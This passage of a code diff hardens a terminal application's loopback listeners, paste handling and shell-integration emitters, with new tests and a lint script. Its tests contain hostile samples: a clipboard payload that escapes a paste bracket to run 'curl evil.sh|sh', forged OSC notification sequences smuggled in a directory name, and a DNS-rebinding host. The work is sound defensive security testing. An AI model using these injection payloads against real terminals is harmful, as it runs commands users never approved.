about *privilege*, not admission: no listener may grant an + * unrecognized caller anything it could not already get by reaching the + * upstream directly. Some listeners honour that by refusing the request; the + * iframe proxy honours it by admitting everyone and vouching for no one. Both + * are answers to the same two questions: + * + * 1. **Was I addressed by my own loopback name?** (`isLoopbackHost`) + * A hostile domain re-pointed at 127.0.0.1 — DNS rebinding — arrives with + * its own name still in `Host`, and the browser considers that + * same-origin, so no CORS header ever gets a say. Checking `Host` is what + * makes rebinding fail. A listener that already demands an unguessable + * one-shot token gains nothing from it, since rebinding exists only to + * make same-origin-looking requests, and may skip it. + * 2. **Do I recognize this caller?** (`isOwnOrigin`, or a credential) + * The mechanism is forced by the listener's URL, not chosen: a token works + * where we own that URL, and cannot work where the URL is a page's own + * origin — it would land in `location.pathname`, break client-side + * routers, and never survive onto root-relative sub-resource requests. + * + * `SECURITY.md` → "Loopback Listeners" is the authority on which listeners + * exist and how each answers; it is deliberately not restated here, since it + * tells its reader to derive that set by search rather than trust a list. + */ + +/** + * True when `Host` names this listener's own loopback address. Both spellings + * are accepted because either can appear in a hand-typed URL; neither is a + * rebinding vector, since browsers refuse to rebind them. + */ +export function isLoopbackHost(hostHeader: string | undefined, port: number): boolean { + const host = (hostHeader ?? '').toLowerCase(); + return host === `127.0.0.1:${port}` || host === `localhost:${port}`; +} + +/** + * True when `Origin` is this listener's own origin — i.e. the caller is a page + * we ourselves served, not a foreign site. + * + * An **absent** `Origin` is not "own": browsers omit it on top-level + * navigations and same-origin GETs, so callers must decide what absence means + * for them rather than having this function guess. + */ +export function isOwnOrigin(originHeader: string | undefined, port: number): boolean { + // An `Origin` is a *serialized* origin — scheme, host, port, nothing else — + // so an exact compare is the whole test; parsing it would only add ways to be + // lenient. Anything non-canonical fails, which is the safe direction: the + // caller then declines to vouch and forwards the header untouched. + const origin = (originHeader ?? '').toLowerCase(); + return origin === `http://127.0.0.1:${port}` || origin === `http://localhost:${port}`; +} diff --git a/lib/src/lib/clipboard.test.ts b/lib/src/lib/clipboard.test.ts index 9e28c5f9b..c5d6498d7 100644 --- a/lib/src/lib/clipboard.test.ts +++ b/lib/src/lib/clipboard.test.ts @@ -6,6 +6,7 @@ const mocks = vi.hoisted(() => ({ writePty: vi.fn<(id: string, data: string) => void>(), readText: vi.fn<() => Promise>(), shellKind: 'posix' as 'cmd' | 'posix' | 'powershell', + bracketedPaste: false, })); vi.mock('./platform', () => ({ @@ -20,7 +21,7 @@ vi.mock('./platform', () => ({ })); vi.mock('./mouse-selection', () => ({ - getMouseSelectionState: () => ({ bracketedPaste: false }), + getMouseSelectionState: () => ({ bracketedPaste: mocks.bracketedPaste }), })); vi.mock('./terminal-registry', () => ({ @@ -38,6 +39,7 @@ describe('doPaste three-tier fallthrough', () => { beforeEach(() => { vi.clearAllMocks(); mocks.shellKind = 'posix'; + mocks.bracketedPaste = false; Object.defineProperty(globalThis, 'navigator', { value: { clipboard: { readText: mocks.readText } }, configurable: true, @@ -109,6 +111,41 @@ describe('doPaste three-tier fallthrough', () => { expect(mocks.writePty).toHaveBeenCalledWith('t1', 'fallback'); }); + it('defangs ESC so clipboard text cannot close the paste bracket', async () => { + mocks.bracketedPaste = true; + mocks.readClipboardFilePaths.mockResolvedValue(null); + mocks.readText.mockResolvedValue('git status\x1b[201~\ncurl evil.sh|sh\n'); + + await doPaste('t1'); + + // The injected terminator survives as text, not as a sequence: exactly one + // `\x1b[201~` is left in the payload and it is the one we wrote, at the end. + const payload = mocks.writePty.mock.calls[0][1]; + expect(payload).toBe( + '\x1b[200~git status\u241b[201~\ncurl evil.sh|sh\n\x1b[201~', + ); + expect(payload.match(/\x1b\[201~/g)).toHaveLength(1); + expect(payload.endsWith('\x1b[201~')).toBe(true); + }); + + it('defangs ESC in file paths too, since they share the paste writer', async () => { + mocks.bracketedPaste = true; + mocks.readClipboardFilePaths.mockResolvedValue(['/tmp/a\x1b[201~b.png']); + + await doPaste('t1'); + + expect(mocks.writePty.mock.calls[0][1]).not.toContain('\x1b[201~b'); + }); + + it('leaves an unbracketed paste byte-for-byte, matching xterm', async () => { + mocks.readClipboardFilePaths.mockResolvedValue(null); + mocks.readText.mockResolvedValue('\x1b[31mred\x1b[0m'); + + await doPaste('t1'); + + expect(mocks.writePty).toHaveBeenCalledWith('t1', '\x1b[31mred\x1b[0m'); + }); + it('swallows image adapter errors silently', async () => { mocks.readClipboardFilePaths.mockResolvedValue(null); mocks.readText.mockResolvedValue(''); diff --git a/lib/src/lib/clipboard.ts b/lib/src/lib/clipboard.ts index aea954862..655818bbf 100644 --- a/lib/src/lib/clipboard.ts +++ b/lib/src/lib/clipboard.ts @@ -47,10 +47,32 @@ export async function copyRewrapped(terminalId: string): Promise { await writeTextToClipboard(out); } +/** + * Neutralize every ESC in a bracketed-paste payload, rendering each as a + * visible U+241B. Without this, clipboard content holding `\x1b[201~` closes + * the bracket early and everything after it arrives as ordinary typed input — + * newlines included, which submit. A hostile page that can put text on the + * clipboard would then be able to run a command the user never pasted. + * + * This is byte-for-byte what xterm's own `bracketTextForPaste` does; we have to + * repeat it because `writePasteToPty` writes to the PTY directly and so never + * reaches it (see the comment below). Replacing rather than stripping keeps the + * paste visible: the user sees that something was defanged instead of watching + * bytes vanish. + * + * Only the bracketed branch is filtered. Without brackets the inside program has + * not asked to tell pasted bytes from typed ones, so there is no boundary left + * to protect and filtering would only break deliberate pastes of escape + * sequences — again matching xterm. + */ +function defangPasteEscapes(text: string): string { + return text.replace(/\x1b/g, '\u241b'); +} + function writePasteToPty(terminalId: string, text: string): void { if (!text) return; const bracketed = getMouseSelectionState(terminalId).bracketedPaste; - const payload = bracketed ? `\x1b[200~${text}\x1b[201~` : text; + const payload = bracketed ? `\x1b[200~${defangPasteEscapes(text)}\x1b[201~` : text; // Paste and file-drop input bypass xterm's onData handler, so the touch has to // be marked here rather than by the keystroke path. markSessionTouched(terminalId); diff --git a/lib/src/lib/terminal-protocol.test.ts b/lib/src/lib/terminal-protocol.test.ts index 8bd94d8d3..9b7e38428 100644 --- a/lib/src/lib/terminal-protocol.test.ts +++ b/lib/src/lib/terminal-protocol.test.ts @@ -262,6 +262,41 @@ describe('TerminalProtocolParser', () => { ]); }); + // W1: the OSC terminator scan runs on raw bytes, so a `Cwd=` payload holding + // one ends the sequence early and everything after it parses as a fresh, + // fully-trusted OSC. The parser cannot defend against this — by the time it + // sees the bytes the sequence is already over — which is why the shell + // emitters filter `$PWD` before it is ever written + // (`standalone/sidecar/shell-integration/`, covered by + // `standalone/sidecar/shell-integration.test.js`). This test pins the reason + // that boundary has to live in the emitter. + it.each([ + ['BEL', '\x07'], + ['ST', '\x1b\\'], + ['C1 ST', '\u009c'], + ])('a %s inside Cwd= would forge a trusted OSC 9 — hence emitter-side filtering', (_name, terminator) => { + const parser = new TerminalProtocolParser(); + const result = parser.process(`\x1b]633;P;Cwd=/tmp/evil${terminator}\x1b]9;PWNED\x07rest`); + + // Truncated cwd, a notification nobody sent, and nothing on screen to show + // for it: the injected bytes are consumed by the parser. + expect(result.visibleData).toBe('rest'); + const notifications = result.events.filter((e) => e.kind === 'notification'); + expect(notifications).toHaveLength(1); + expect(notifications[0]).toMatchObject({ notification: { source: 'OSC 9', body: 'PWNED' } }); + }); + + it('a filtered Cwd= yields exactly one cwd event and forges nothing', () => { + // What the emitters now produce for the same hostile directory name. + const parser = new TerminalProtocolParser(); + const result = parser.process('\x1b]633;P;Cwd=/tmp/evil]9;PWNED\x07rest'); + + expect(result.visibleData).toBe('rest'); + expect(result.events.filter((e) => e.kind === 'notification')).toHaveLength(0); + expect(result.events).toHaveLength(1); + expect(result.events[0]).toMatchObject({ kind: 'semantic', event: { type: 'cwd' } }); + }); + it('parses OSC 633 and 1337 CWD plus title fallbacks', () => { const parser = new TerminalProtocolParser(); const result = parser.process('\x1b]633;P;Cwd=/tmp/with%20space\x07\x1b]1337;CurrentDir=/Users/me/app\x07\x1b]0;zsh\x07\x1b]2;vim\x07'); diff --git a/package.json b/package.json index 70a903d8b..85b6b2c1c 100644 --- a/package.json +++ b/package.json @@ -12,8 +12,9 @@ }, "scripts": { "build": "pnpm run build:vscode && pnpm --filter dormouse-website build", - "test": "node scripts/spec-lint.mjs && node scripts/xterm-lint.mjs && pnpm -r run test", + "test": "node scripts/spec-lint.mjs && node scripts/xterm-lint.mjs && node scripts/loopback-lint.mjs && pnpm -r run test", "lint:specs": "node scripts/spec-lint.mjs", + "lint:loopback": "node scripts/loopback-lint.mjs", "lint:xterm": "node scripts/xterm-lint.mjs", "bump:xterm": "node scripts/xterm-bump.mjs", "dev:canopy": "pnpm --filter canopy storybook", diff --git a/scripts/loopback-lint.mjs b/scripts/loopback-lint.mjs new file mode 100644 index 000000000..8cf5adfdc --- /dev/null +++ b/scripts/loopback-lint.mjs @@ -0,0 +1,164 @@ +#!/usr/bin/env node +/** + * Mechanical check for the loopback-listener invariant in `SECURITY.md` + * ("Loopback Listeners"). Runs from the repo root via `pnpm test` (see the root + * package.json). Exits non-zero with a per-violation report. + * + * Why this exists: a loopback bind is not an access control — the attacker that + * matters is a page open in the user's own browser, which reaches `127.0.0.1` + * as easily as our webview does, and an ephemeral port is not a secret. Two of + * the three listeners we ship got that wrong at some point, and both were found + * by an LLM audit rather than by CI. The audit is thorough but probabilistic; + * this makes the cheap half of the rule deterministic, so a *fourth* listener + * fails a build instead of waiting for the next audit to notice it. + * + * The check: any non-test source file that binds a TCP listener to loopback + * must reference one of the guard modules — `lib/src/host/loopback-guard.ts` + * for shipped code, `standalone/scripts/dev-host-guard.mjs` for the dev + * harness — or sit on ALLOWED below with a stated reason. + * + * What it deliberately does NOT do, so nobody mistakes it for the whole rule: + * - It cannot tell whether the guard is actually *called* on every request, + * only that the file knows the guard exists. The audit still owns that. + * - It matches only an explicit loopback host, in either of Node's two + * spellings (positional and options-object). A listener that binds every + * interface (`.listen(port)` with no host) is a different and larger + * problem, and `server/` does it deliberately from config, so flagging it + * here would be noise. A host built at runtime (`.listen(port, hostVar)`) + * is invisible to a regex and always will be — that is the ceiling of a + * textual check, and the audit is what covers above it. + * - Unix-domain sockets and named pipes are out of scope by design: no + * browser can reach one, which is why the `dor` control channel is bounded + * by socket permissions instead. + * - Test files are skipped. A fixture that stands up a loopback server is not + * a product listener. + * + * Scans `git ls-files`, not the working tree. Build output is exactly what must + * not be scanned: `standalone/sidecar/iframe-proxy.cjs` is a bundle of the very + * file this lint checks, so it inherits the guard reference and would pass for + * a reason that says nothing about the source — while also making the count + * depend on whether someone had run a build. + * + * Checks: + * 1. Every matching listener references a guard module or is allowlisted. + * 2. Every ALLOWED entry still names a real file that still matches — a stale + * allowlist silently exempts nothing, or worse, the next file to reuse + * that path. + * 3. Finding no listeners at all is a failure, not a pass: it means the bind + * shape moved and this lint has quietly stopped checking anything. + */ +import { readFileSync, existsSync } from 'node:fs'; +import { execFileSync } from 'node:child_process'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const ROOT = fileURLToPath(new URL('..', import.meta.url)); + +/** + * Files that bind loopback without referencing a guard, each with the reason + * that is acceptable. Adding an entry is a deliberate act that shows up in + * review; forgetting the guard entirely does not. + */ +const ALLOWED = { + 'vscode-ext/src/agent-browser-host.ts': + 'The stream relay authenticates with a single-use 64-hex token (60s TTL, ' + + 'pinned to one target port) and drops Origin rather than rewriting it, so ' + + 'it vouches for no one. It skips the Host check on purpose: rebinding ' + + 'exists to make same-origin-looking requests, which buys nothing against ' + + 'an unguessable one-shot secret. See lib/src/host/loopback-guard.ts.', +}; + +const GUARD_REFERENCES = ['loopback-guard', 'dev-host-guard']; +// Node accepts two spellings of a loopback TCP bind, and both must match: +// .listen(, '127.0.0.1', …) positional +// .listen({ host: '127.0.0.1', … }) options object, either key order +// The host argument is what distinguishes a TCP bind from a UDS/named-pipe +// listen, which passes a single path and must not match. Applied to the whole +// file rather than line by line — `.listen(` is routinely wrapped across lines, +// and the `\s*`/`[^)]*?` spans already cross newlines. +const LOOPBACK = "['\"](?:127\\.0\\.0\\.1|localhost)['\"]"; +const LISTEN_RE = new RegExp( + `\\.listen\\(\\s*(?:` + + `[^,)]+,\\s*${LOOPBACK}` // positional + + `|\\{[^}]*?host\\s*:\\s*${LOOPBACK}` // options object + + `)`, + 's', +); + +const SOURCE_EXT = /\.(?:ts|tsx|js|jsx|mjs|cjs)$/; +const IS_TEST = /(?:\.test\.|\.spec\.|[\\/]tests?[\\/])/; +// This file documents the pattern it looks for, so it matches itself. +const SELF = 'scripts/loopback-lint.mjs'; + +/** Every tracked, non-test source file, as repo-relative POSIX paths. */ +function sourceFiles() { + // -z because a path may contain anything; git would otherwise quote it. + const out = execFileSync('git', ['ls-files', '-z'], { + cwd: ROOT, + encoding: 'utf-8', + maxBuffer: 64 * 1024 * 1024, + }); + return out.split('\0').filter((rel) => ( + rel && rel !== SELF && SOURCE_EXT.test(rel) && !IS_TEST.test(rel) + )); +} + +const problems = []; +const listeners = []; +const matchedAllowed = new Set(); + +for (const rel of sourceFiles()) { + // A tracked path can still be absent mid-rebase or in a sparse checkout. + if (!existsSync(join(ROOT, rel))) continue; + const text = readFileSync(join(ROOT, rel), 'utf-8'); + const match = LISTEN_RE.exec(text); + if (!match) continue; + const line = text.slice(0, match.index).split('\n').length; + listeners.push(rel); + + if (rel in ALLOWED) { + matchedAllowed.add(rel); + continue; + } + if (GUARD_REFERENCES.some((g) => text.includes(g))) continue; + + problems.push( + `${rel}:${line}: binds a loopback listener without referencing a guard module.\n` + + ' A loopback bind is not an access control: a page in the user\'s own browser\n' + + ' reaches 127.0.0.1 too, and the port is not a secret. Check Host and\n' + + ' authenticate the caller — see lib/src/host/loopback-guard.ts and\n' + + ' SECURITY.md -> "Loopback Listeners" — or add an ALLOWED entry in this\n' + + ' script saying why this one is safe without them.', + ); +} + +// --- Check 2: no stale allowlist entries ------------------------------------- +for (const rel of Object.keys(ALLOWED)) { + if (matchedAllowed.has(rel)) continue; + problems.push( + existsSync(join(ROOT, rel)) + ? `${rel}: ALLOWED entry no longer binds a loopback listener — drop it from scripts/loopback-lint.mjs.` + : `${rel}: ALLOWED entry names a file that does not exist — drop it from scripts/loopback-lint.mjs.`, + ); +} + +// --- Check 3: the pattern still finds something ------------------------------ +if (listeners.length === 0) { + problems.push( + 'no loopback listeners matched at all — the bind shape has moved and LISTEN_RE\n' + + ' in scripts/loopback-lint.mjs no longer matches anything. This lint is not\n' + + ' passing, it has stopped looking.', + ); +} + +// ----------------------------------------------------------------------------- +if (problems.length > 0) { + console.error(`loopback-lint: ${problems.length} problem(s)\n`); + for (const p of problems) console.error(` ${p}`); + console.error('\nThe rule is in SECURITY.md ("Loopback Listeners").'); + process.exit(1); +} +console.log( + `loopback-lint: OK (${listeners.length} loopback listeners, ` + + `${Object.keys(ALLOWED).length} allowlisted)`, +); diff --git a/standalone/scripts/dev-agent-browser.mjs b/standalone/scripts/dev-agent-browser.mjs index b009b5fd2..b53260112 100644 --- a/standalone/scripts/dev-agent-browser.mjs +++ b/standalone/scripts/dev-agent-browser.mjs @@ -12,6 +12,9 @@ import { fileURLToPath } from 'node:url'; // handles both and is a no-op on POSIX. See docs/specs/dor-cli.md. import spawn from 'cross-spawn'; import { createInterface } from 'node:readline'; +// The bridge's security boundary, in its own module so it is testable — +// see standalone/scripts/dev-host-guard.test.mjs. +import { corsHeaders, isAuthorized } from './dev-host-guard.mjs'; const __dirname = path.dirname(fileURLToPath(import.meta.url)); const standaloneDir = path.resolve(__dirname, '..'); @@ -34,6 +37,14 @@ const browserSession = process.env.DORMOUSE_BROWSER_DEV_AB_SESSION || 'dormouse- // predictable PRNG and was never appropriate for it. Same construction as the // production hosts (`vscode-ext/src/pty-manager.ts`). const controlToken = randomBytes(24).toString('hex'); +// A second, separate credential, deliberately not `controlToken`: that one is +// the `dor` control-API bearer and is handed to every shell this harness +// spawns, so anything running in a dev terminal already holds it. This one +// gates the HTTP bridge below, which is a strictly smaller circle — only the +// dev page gets it, via the URL baked into `VITE_DORMOUSE_BROWSER_DEV_HOST`. +// Overloading one token would hand the bridge to every spawned shell for free. +const bridgeToken = randomBytes(24).toString('hex'); +const viteOrigin = `http://localhost:${vitePort}`; // The remote Host persists its enrollment + ACL here, under the harness's own // temp dir so a dev run never touches the installed app's state. const stateDir = path.join(os.tmpdir(), `dormouse-${process.pid}-browser-state`); @@ -129,25 +140,34 @@ const invokeMap = { }; async function readJson(req) { + // The application/json requirement is enforced in the gate below, before + // routing, so that it also covers a route that never reads a body. const chunks = []; for await (const chunk of req) chunks.push(chunk); if (chunks.length === 0) return {}; return JSON.parse(Buffer.concat(chunks).toString('utf8')); } -function cors(res) { - res.setHeader('access-control-allow-origin', '*'); - res.setHeader('access-control-allow-methods', 'GET,POST,OPTIONS'); - res.setHeader('access-control-allow-headers', 'content-type'); +function cors(req, res) { + for (const [name, value] of Object.entries(corsHeaders(viteOrigin, req.headers.origin))) { + res.setHeader(name, value); + } } function startHostServer() { const server = http.createServer(async (req, res) => { - cors(res); + cors(req, res); if (req.method === 'OPTIONS') { res.writeHead(204).end(); return; } + // Before routing, before reading a body: an unauthorized caller must not be + // able to tell this port apart from a closed one, so answer exactly what the + // fall-through 404 answers. + if (!isAuthorized(req, { token: bridgeToken, port: hostPort })) { + res.writeHead(404).end('not found'); + return; + } try { const url = new URL(req.url || '/', `http://${req.headers.host}`); if (req.method === 'GET' && url.pathname === '/__dormouse_dev_host/events') { @@ -155,7 +175,8 @@ function startHostServer() { 'content-type': 'text/event-stream', 'cache-control': 'no-cache', connection: 'keep-alive', - 'access-control-allow-origin': '*', + // No access-control-allow-origin here: cors(req, res) already set it, and + // writeHead merges what setHeader recorded. }); sseClients.add(res); sendSse(res, 'sidecar', { event: 'dev:connected', data: { pid: process.pid } }); @@ -251,7 +272,9 @@ function startVite() { stdio: ['ignore', 'pipe', 'pipe'], env: { ...process.env, - VITE_DORMOUSE_BROWSER_DEV_HOST: `http://127.0.0.1:${hostPort}`, + // The token rides in the URL, so the page needs nothing else plumbed to + // it and `BrowserSidecarHost` stays the single place that knows about it. + VITE_DORMOUSE_BROWSER_DEV_HOST: `http://127.0.0.1:${hostPort}/?t=${bridgeToken}`, DORMOUSE_BROWSER_DEV_VITE_PORT: String(vitePort), }, }); @@ -306,6 +329,10 @@ process.on('SIGINT', shutdown); process.on('SIGTERM', shutdown); log(`starting browser dev host on http://127.0.0.1:${hostPort}`); +// Printed so poking the bridge by hand stays possible. Local stderr only: this +// harness never runs in CI, and the token dies with the process. +log(`bridge token: ${bridgeToken}`); +log(`try: curl -H 'content-type: application/json' -d '{"cmd":"pty_request_init"}' 'http://127.0.0.1:${hostPort}/__dormouse_dev_host/send?t=${bridgeToken}'`); await startHostServer(); startSidecar(); startVite(); diff --git a/standalone/scripts/dev-host-guard.mjs b/standalone/scripts/dev-host-guard.mjs new file mode 100644 index 000000000..66425b566 --- /dev/null +++ b/standalone/scripts/dev-host-guard.mjs @@ -0,0 +1,86 @@ +// The security boundary of the browser dev bridge, kept in its own module so it +// can be tested directly — `dev-agent-browser.mjs` spawns Vite, the sidecar and +// agent-browser at import time, so nothing inside it is reachable from a test. +// +// What this guards: the bridge dispatches `pty_spawn` into the sidecar with +// caller-supplied `shell`, `args`, `cwd` and `env`, so reaching it is arbitrary +// command execution as the developer. It listens on loopback, which is not a +// boundary at all against the threat that matters here — a web page open in the +// developer's own browser. +// +// The rule these checks implement is shared with Dormouse's other loopback +// listeners and is stated once in `lib/src/host/loopback-guard.ts`, with +// `SECURITY.md` -> "Loopback Listeners" auditing the class. This file keeps its +// own copy rather than importing that module: it is a dev-only, unbundled +// script in another package, and making it depend on built TS to share a few +// lines would cost more than the duplication does. +import { createHash, timingSafeEqual } from 'node:crypto'; + +function sha256(value) { + return createHash('sha256').update(value).digest(); +} + +/** + * Every request must carry `?t=` and be addressed to loopback by name. + * + * The token rides in the URL rather than an `Authorization` header because + * `EventSource` cannot set headers, and `/events` has to be gated like the + * rest. Digests are compared because `timingSafeEqual` throws on a length + * mismatch, which would otherwise leak the token's length and turn a wrong + * guess into a crash instead of a refusal. + * + * The Host check is anti-DNS-rebind: a hostile domain re-resolved to 127.0.0.1 + * arrives here with its own name still in `Host`, and the browser considers + * that same-origin, so the CORS headers never get a say. + */ +export function isAuthorized(req, { token, port }) { + const host = (req.headers?.host || '').toLowerCase(); + if (host !== `127.0.0.1:${port}` && host !== `localhost:${port}`) return false; + // The content-type test belongs in the gate, not in the body reader: a route + // that never parses a body would otherwise silently lose the one control that + // stops a preflight-free cross-origin POST. + if (req.method && req.method !== 'GET' && !isJsonRequest(req)) return false; + let presented; + try { + presented = new URL(req.url || '/', `http://127.0.0.1:${port}`).searchParams.get('t'); + } catch { + return false; + } + if (!presented) return false; + return timingSafeEqual(sha256(presented), sha256(token)); +} + +/** + * Insisting on the JSON content-type is a security control, not tidiness. + * Without it a POST here is a CORS-*simple* request: any page in the + * developer's browser can issue it with `mode: 'no-cors'`, and while it cannot + * read the reply, the request still executes — which is all `pty_spawn` needs. + * Requiring a non-simple content-type forces a preflight, which a foreign + * origin cannot pass against the single allowed origin below. + */ +export function isJsonRequest(req) { + const type = (req.headers?.['content-type'] || '').split(';')[0].trim().toLowerCase(); + return type === 'application/json'; +} + +/** + * The dev page's origin, echoed back — never `*`. Under `*` every response was + * readable cross-origin, which leaks the `read_clipboard_text` and + * `read_clipboard_file_paths` invokes outright. + * + * Echoed rather than fixed because `http://localhost:` and + * `http://127.0.0.1:` are the same dev page, and a developer who types + * the other spelling would otherwise have every bridge call rejected by CORS — + * with a blank terminal and console errors that do not point at the cause. + * Echoing exactly one of two known-good values is as tight as pinning one: + * anything else still gets the first spelling and fails the browser's check. + */ +export function corsHeaders(viteOrigin, requestOrigin) { + const allowed = [viteOrigin, viteOrigin.replace('//localhost:', '//127.0.0.1:')]; + return { + 'access-control-allow-origin': allowed.includes(requestOrigin) ? requestOrigin : viteOrigin, + vary: 'origin', + 'access-control-allow-methods': 'GET,POST,OPTIONS', + 'access-control-allow-headers': 'content-type', + }; +} diff --git a/standalone/scripts/dev-host-guard.test.mjs b/standalone/scripts/dev-host-guard.test.mjs new file mode 100644 index 000000000..8121d918f --- /dev/null +++ b/standalone/scripts/dev-host-guard.test.mjs @@ -0,0 +1,68 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { corsHeaders, isAuthorized, isJsonRequest } from './dev-host-guard.mjs'; + +const TOKEN = 'a'.repeat(48); +const PORT = 1422; +const req = (url, headers) => ({ url, headers }); +const ok = (url, host = `127.0.0.1:${PORT}`) => isAuthorized(req(url, { host }), { token: TOKEN, port: PORT }); + +test('a request carrying the token is authorized', () => { + assert.equal(ok(`/__dormouse_dev_host/send?t=${TOKEN}`), true); + assert.equal(ok(`/__dormouse_dev_host/events?t=${TOKEN}`, `localhost:${PORT}`), true); +}); + +test('a request with no token, a wrong token, or a wrong-length token is refused', () => { + // The wrong-length case is the one that would throw rather than return false + // if the digests were not equalized before timingSafeEqual. + assert.equal(ok('/__dormouse_dev_host/send'), false); + assert.equal(ok('/__dormouse_dev_host/send?t='), false); + assert.equal(ok(`/__dormouse_dev_host/send?t=${'b'.repeat(48)}`), false); + assert.equal(ok('/__dormouse_dev_host/send?t=short'), false); + assert.equal(ok(`/__dormouse_dev_host/send?t=${TOKEN}x`), false); +}); + +test('a rebound hostile domain is refused even holding the token', () => { + // DNS rebinding: evil.com re-resolved to 127.0.0.1 reaches this port with its + // own name in Host, and the browser calls that same-origin. + assert.equal(ok(`/__dormouse_dev_host/send?t=${TOKEN}`, 'evil.com:1422'), false); + assert.equal(ok(`/__dormouse_dev_host/send?t=${TOKEN}`, `127.0.0.1:${PORT + 1}`), false); + assert.equal(isAuthorized(req(`/?t=${TOKEN}`, {}), { token: TOKEN, port: PORT }), false); +}); + +test('only application/json bodies are accepted', () => { + // text/plain is the CORS-simple content type a no-cors attack would use. + assert.equal(isJsonRequest(req('/', { 'content-type': 'application/json' })), true); + assert.equal(isJsonRequest(req('/', { 'content-type': 'application/json; charset=utf-8' })), true); + assert.equal(isJsonRequest(req('/', { 'content-type': 'text/plain' })), false); + assert.equal(isJsonRequest(req('/', { 'content-type': 'multipart/form-data' })), false); + assert.equal(isJsonRequest(req('/', {})), false); +}); + +test('the gate itself refuses a non-JSON POST, so a bodyless route is covered too', () => { + const post = (headers) => isAuthorized( + { url: `/__dormouse_dev_host/send?t=${TOKEN}`, method: 'POST', headers: { host: `127.0.0.1:${PORT}`, ...headers } }, + { token: TOKEN, port: PORT }, + ); + assert.equal(post({ 'content-type': 'application/json' }), true); + assert.equal(post({ 'content-type': 'text/plain' }), false); + assert.equal(post({}), false); + // GET carries no body, so it is exempt — that is how the SSE stream connects. + assert.equal(isAuthorized( + { url: `/__dormouse_dev_host/events?t=${TOKEN}`, method: 'GET', headers: { host: `127.0.0.1:${PORT}` } }, + { token: TOKEN, port: PORT }, + ), true); +}); + +test('CORS names one origin rather than *, in either loopback spelling', () => { + const acao = (origin) => corsHeaders('http://localhost:1420', origin)['access-control-allow-origin']; + // Both spellings are the same dev page, so both are echoed back. + assert.equal(acao('http://localhost:1420'), 'http://localhost:1420'); + assert.equal(acao('http://127.0.0.1:1420'), 'http://127.0.0.1:1420'); + // Anything else gets the canonical value, which the browser then rejects. + for (const origin of ['https://evil.example', 'http://localhost:9999', undefined]) { + assert.equal(acao(origin), 'http://localhost:1420'); + } + assert.notEqual(acao('https://evil.example'), '*'); + assert.equal(corsHeaders('http://localhost:1420', undefined).vary, 'origin'); +}); diff --git a/standalone/sidecar/shell-integration.test.js b/standalone/sidecar/shell-integration.test.js new file mode 100644 index 000000000..124a7f936 --- /dev/null +++ b/standalone/sidecar/shell-integration.test.js @@ -0,0 +1,115 @@ +// Runs the real bash/zsh integration scripts and checks what they emit, because +// the bug these guard against (W1) is an *emit*-side injection: by the time the +// parser sees the bytes the OSC has already been terminated, so no amount of +// parser hardening can catch it. That makes the shell scripts themselves the +// security boundary, and the only honest test is to run them. +// CommonJS to match its siblings: the sidecar package declares no `type`, so an +// ESM test here warns on every run. +const test = require('node:test'); +const assert = require('node:assert/strict'); +const { execFileSync, spawnSync } = require('node:child_process'); +const { existsSync } = require('node:fs'); +const path = require('node:path'); + +const dir = __dirname; + +/** + * Resolve a shell off PATH, then the usual absolute spellings. Hardcoding + * `/bin/` silently dropped zsh on CI, where it lives in `/usr/bin` — the + * suite went green having covered half of what it claims to. + */ +function findShell(name) { + const fromPath = spawnSync(process.platform === 'win32' ? 'where' : 'which', [name], { encoding: 'utf8' }); + const resolved = fromPath.status === 0 ? fromPath.stdout.split('\n')[0].trim() : ''; + if (resolved && existsSync(resolved)) return resolved; + return [`/bin/${name}`, `/usr/bin/${name}`, `/usr/local/bin/${name}`, `/opt/homebrew/bin/${name}`] + .find((candidate) => existsSync(candidate)) ?? null; +} + +const BASH = findShell('bash'); +const ZSH = findShell('zsh'); + +// The three sequences that terminate an OSC string (terminal-protocol.ts → +// findOscTerminator): BEL, ST, and the C1 ST. +const TERMINATORS = ['\x07', '\x1b\\', '\u009c']; + +/** + * Source a shell's integration script, call one of its helpers, and echo the + * out-param it sets. The helpers assign `__dormouse_633_out` rather than + * printing, so the emitters can avoid a `$(...)` fork on every prompt. + */ +function callHelper(shell, fn, value, env = {}) { + const source = shell === BASH + ? path.join(dir, 'shell-integration/bash/shellIntegration.bash') + : path.join(dir, 'shell-integration/zsh/.zshrc'); + const script = `source ${JSON.stringify(source)} 2>/dev/null; ${fn} "$1"; printf '%s' "$__dormouse_633_out"`; + // -i because the bash script returns early for a non-interactive shell; the + // no-rc flags keep the developer's own dotfiles out of the result (and cut a + // second off zsh). + const args = shell === BASH + ? ['--norc', '--noprofile', '-ic', script, 'x'] + : ['-f', '-ic', script, 'x']; + return execFileSync(shell, [...args, value], { + encoding: 'utf8', + env: { ...process.env, ...env }, + // bash -i announces "no job control in this shell" on stderr; not our concern. + stdio: ['ignore', 'pipe', 'ignore'], + }); +} + +const shells = [['bash', BASH], ['zsh', ZSH]].filter(([, bin]) => bin); +// Say out loud what was and was not covered. A shell that is merely absent +// still reads as a pass in the summary line, which is how the zsh half of this +// suite went unnoticed on CI for a run. +const missing = [['bash', BASH], ['zsh', ZSH]].filter(([, bin]) => !bin).map(([n]) => n); +console.error(`shell-integration: covering ${shells.map(([n]) => n).join(', ') || '(none)'}` + + (missing.length ? `; NOT covered (not installed): ${missing.join(', ')}` : '')); +// bash is the floor: it is the one shell present on every platform we test on, +// and a run that covers neither is not a pass. +assert.ok(BASH, 'bash must be available to test the shell-integration emitters'); + +for (const [name, bin] of shells) { + test(`${name}: safe_cwd removes every OSC terminator`, () => { + // One fixture carrying all three, rather than one spawn per terminator for + // a byte-identical hazard set. + const hostile = `/tmp/evil${TERMINATORS.join('x')}\x1b]9;PWNED\x07`; + const out = callHelper(bin, '__dormouse_633_safe_cwd', hostile); + for (const t of TERMINATORS) { + assert.ok(!out.includes(t), `${name}: ${JSON.stringify(t)} survived in ${JSON.stringify(out)}`); + } + }); + + test(`${name}: safe_cwd removes the C1 ST under LC_ALL=C too`, () => { + // [[:cntrl:]] does not match U+009C in the C locale — verified, which is why + // the scripts strip it explicitly first. + const out = callHelper(bin, '__dormouse_633_safe_cwd', '/tmp/x\u009cy', { LC_ALL: 'C' }); + assert.ok(!out.includes('\u009c'), `${name}: C1 ST survived as ${JSON.stringify(out)}`); + }); + + test(`${name}: safe_cwd leaves an ordinary path byte-for-byte`, () => { + const ordinary = '/Users/someone/src/my-project (v2)'; + assert.equal(callHelper(bin, '__dormouse_633_safe_cwd', ordinary), ordinary); + }); + + test(`${name}: safe_cwd keeps backslashes and semicolons, which Cwd= needs raw`, () => { + // Cwd= is read 